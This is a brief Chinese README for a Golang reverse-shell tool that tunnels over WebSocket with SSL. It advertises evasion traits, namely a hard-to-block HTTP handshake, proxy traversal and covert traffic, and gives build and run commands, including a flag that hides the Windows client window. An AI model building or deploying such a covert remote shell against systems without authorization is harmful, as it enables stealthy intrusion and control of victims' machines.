wss-go:使用 Golang 编写的 Websocket with SSL 的反向 Shell
一款使用 Golang 编写的 Websocket with SSL 的反向 Shell。
适用于Windows, Linux, MacOS。
文档
原理
使用 Websocket 进行通信,并使用 SSL 证书进行加密。
特性
- 握手阶段采用 HTTP 协议,因此握手时不容易屏蔽,能通过各种 HTTP 代理服务器。
- 使用 SSL 证书进行加密。
- 数据格式比较轻量,性能开销小,通信高效隐蔽。
使用方法
Windows
go env -w GOOS=windows
go build -o wssServer server/server.go
go build -o wssClient -ldflags -H=windowsgui -ldflags "-s -w" client/client.go
截屏
MacOS & Linux
go env -w GOOS=darwin/linux
go build -o wssServer server/server.go
go build -o wssClient client/client.go
./wssServer -addr 0.0.0.0:443
./wssClient -addr 127.0.0.1:443
截屏
代办
下载地址
https://github.com/piaolin/wss-go
|